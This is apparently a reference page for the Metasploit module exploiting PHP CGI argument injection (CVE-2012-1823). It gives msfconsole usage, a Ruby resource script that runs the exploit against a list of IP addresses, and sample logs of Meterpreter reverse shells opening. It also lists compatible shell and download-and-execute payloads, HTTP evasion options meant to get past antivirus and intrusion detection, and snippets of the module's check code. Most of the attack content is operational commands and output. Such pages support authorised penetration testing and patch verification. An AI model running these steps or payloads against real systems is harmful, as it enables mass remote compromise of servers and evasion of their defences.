PHP CGI Argument Injection - Metasploit
This page contains detailed information about how to use the exploit/multi/http/php_cgi_arg_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: PHP CGI Argument Injection
Module: exploit/multi/http/php_cgi_arg_injection
Source code: modules/exploits/multi/http/php_cgi_arg_injection.rb
Disclosure date: 2012-05-03
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2012-1823
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary." This module can also be used to exploit the plesk 0day disclosed by kingcope and exploited in the wild on June 2013.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using php_cgi_arg_injection against a single host
Normally, you can use exploit/multi/http/php_cgi_arg_injection this way:
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > show targets
... a list of targets ...
msf exploit(php_cgi_arg_injection) > set TARGET target-id
msf exploit(php_cgi_arg_injection) > show options
... show and set options ...
msf exploit(php_cgi_arg_injection) > exploit
Using php_cgi_arg_injection against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your php_cgi_arg_injection will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/php_cgi_arg_injection")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the multi/http/php_cgi_arg_injection exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/php_cgi_arg_injection
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > show info
Name: PHP CGI Argument Injection
Module: exploit/multi/http/php_cgi_arg_injection
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-05-03
Provided by:
egypt <[email protected]>
hdm <[email protected]>
jjarmoc
kingcope
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PLESK false yes Exploit Plesk
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI no The URI to request (must be a CGI-handled PHP script)
URIENCODING 0 yes Level of URI URIENCODING and padding (0 for minimum)
VHOST no HTTP server virtual host
Payload information:
Space: 262144
Description:
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable
to an argument injection vulnerability. This module takes advantage
of the -d flag to set php.ini directives to achieve code execution.
From the advisory: "if there is NO unescaped '=' in the query
string, the string is split on '+' (encoded space) characters,
urldecoded, passed to a function that escapes shell metacharacters
(the "encoded in a system-defined manner" from the RFC) and then
passes them to the CGI binary." This module can also be used to
exploit the plesk 0day disclosed by kingcope and exploited in the
wild on June 2013.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-1823
OSVDB (81633)
OSVDB (93979)
https://www.exploit-db.com/exploits/25986
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
http://kb.parallels.com/en/116241
Module Options
This is a complete list of options available in the multi/http/php_cgi_arg_injection exploit:
msf6 exploit(multi/http/php_cgi_arg_injection) > show options
Module options (exploit/multi/http/php_cgi_arg_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
PLESK false yes Exploit Plesk
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI no The URI to request (must be a CGI-handled PHP script)
URIENCODING 0 yes Level of URI URIENCODING and padding (0 for minimum)
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/php_cgi_arg_injection exploit:
msf6 exploit(multi/http/php_cgi_arg_injection) > show advanced
Module advanced options (exploit/multi/http/php_cgi_arg_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/php_cgi_arg_injection module can exploit:
msf6 exploit(multi/http/php_cgi_arg_injection) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/php_cgi_arg_injection exploit:
msf6 exploit(multi/http/php_cgi_arg_injection) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/php_cgi_arg_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/php_cgi_arg_injection) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Server responded in a way that was ambiguous, could not determine whether it was vulnerable
Here is a relevant code snippet related to the "Server responded in a way that was ambiguous, could not determine whether it was vulnerable" error message:
67: vprint_status("Checking uri #{uri}")
68:
69: response = send_request_raw({ 'uri' => uri })
70:
71: if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi and not datastore['PLESK']
72: vprint_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
73: return Exploit::CheckCode::Unknown
74: end
75:
76: response = send_request_raw({ 'uri' => uri + "?#{create_arg("-s")}"})
77: if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
Server responded indicating it was not vulnerable
Here is a relevant code snippet related to the "Server responded indicating it was not vulnerable" error message:
80:
81: if datastore['PLESK'] and response and response.code == 500
82: return Exploit::CheckCode::Appears
83: end
84:
85: vprint_error("Server responded indicating it was not vulnerable")
86: return Exploit::CheckCode::Safe
87: end
88:
89: def uri
90: if datastore['PLESK']
The target service unreachable
Here is a relevant code snippet related to the "The target service unreachable" error message:
130: handler
131:
132: rescue ::Interrupt
133: raise $!
134: rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
135: print_error("The target service unreachable")
136: rescue ::OpenSSL::SSL::SSLError
137: print_error("The target failed to negotiate SSL, is this really an SSL service?")
138: end
139:
140: end
The target failed to negotiate SSL, is this really an SSL service?
Here is a relevant code snippet related to the "The target failed to negotiate SSL, is this really an SSL service?" error message:
132: rescue ::Interrupt
133: raise $!
134: rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
135: print_error("The target service unreachable")
136: rescue ::OpenSSL::SSL::SSLError
137: print_error("The target failed to negotiate SSL, is this really an SSL service?")
138: end
139:
140: end
141:
142: def create_arg(arg, val = nil)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8683 Merged Pull Request: Remove duplicate setting of suhosin.simulation in php_cgi_arg_injection
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7929 Merged Pull Request: Make php_cgi_arg_injection work in certain environnement
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3353 Merged Pull Request: Rex::Text::uri_encode - make 'hex-all' really mean all.
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2074 Merged Pull Request: Add support for PLESK on php_cgi_arg_injection
- #1417 Merged Pull Request: Improves normalize_uri(), and updates modules that are using it
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #1047 Merged Pull Request: Set normalize uri on modules
- #674 Merged Pull Request: Comply with msftidy
- #374 Merged Pull Request: Encoding additions to php_cgi_arg_injection.rb module
References
- CVE-2012-1823
- OSVDB (81633)
- OSVDB (93979)
- EDB-25986
- http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
- http://kb.parallels.com/en/116241
See Also
Check also the following modules related to this module:
- exploit/multi/http/php_fpm_rce
- exploit/multi/http/php_utility_belt_rce
- exploit/multi/http/php_volunteer_upload_exec
- exploit/multi/php/php_unserialize_zval_cookie
- exploit/linux/http/php_imap_open_rce
- exploit/unix/webapp/php_charts_exec
- exploit/unix/webapp/php_eval
- exploit/unix/webapp/php_include
- exploit/unix/webapp/php_vbulletin_template
- exploit/unix/webapp/php_xmlrpc_eval
- exploit/windows/http/php_apache_request_headers_bof
- encoder/php/base64
- exploit/multi/php/ignition_laravel_debug_rce
- exploit/multi/php/wp_duplicator_code_inject
- nop/php/generic
- payload/php/bind_perl
- payload/php/bind_perl_ipv6
- payload/php/bind_php
- payload/php/bind_php_ipv6
- payload/php/download_exec
- payload/php/exec
- payload/php/meterpreter/bind_tcp
- payload/php/meterpreter/bind_tcp_ipv6
- payload/php/meterpreter/bind_tcp_ipv6_uuid
- payload/php/meterpreter/bind_tcp_uuid
- payload/php/meterpreter/reverse_tcp
- payload/php/meterpreter_reverse_tcp
- payload/php/meterpreter/reverse_tcp_uuid
- payload/php/reverse_perl
- payload/php/reverse_php
- payload/php/shell_findsock
Related Nessus plugins:
- PHP < 5.3.12 / 5.4.2 CGI Query String Code Execution
- FreeBSD : php -- vulnerability in certain CGI-based setups (60de13d5-95f0-11e1-806a-001143cd36d8)
- Mandriva Linux Security Advisory : php (MDVSA-2012:068-1)
- Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : php5 vulnerability (USN-1437-1)
- CentOS 5 / 6 : php (CESA-2012:0546)
- RHEL 5 / 6 : php (RHSA-2012:0546)
- RHEL 5 : php53 (RHSA-2012:0547)
- SuSE 10 Security Update : PHP5 (ZYPP Patch Number 8114)
- PHP 5.3.x < 5.3.13 CGI Query String Code Execution
- CentOS 5 : php53 (CESA-2012:0547)
Authors
- egypt
- hdm
- jjarmoc
- kingcope
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.31-dev. For more modules, visit the Metasploit Module Library.
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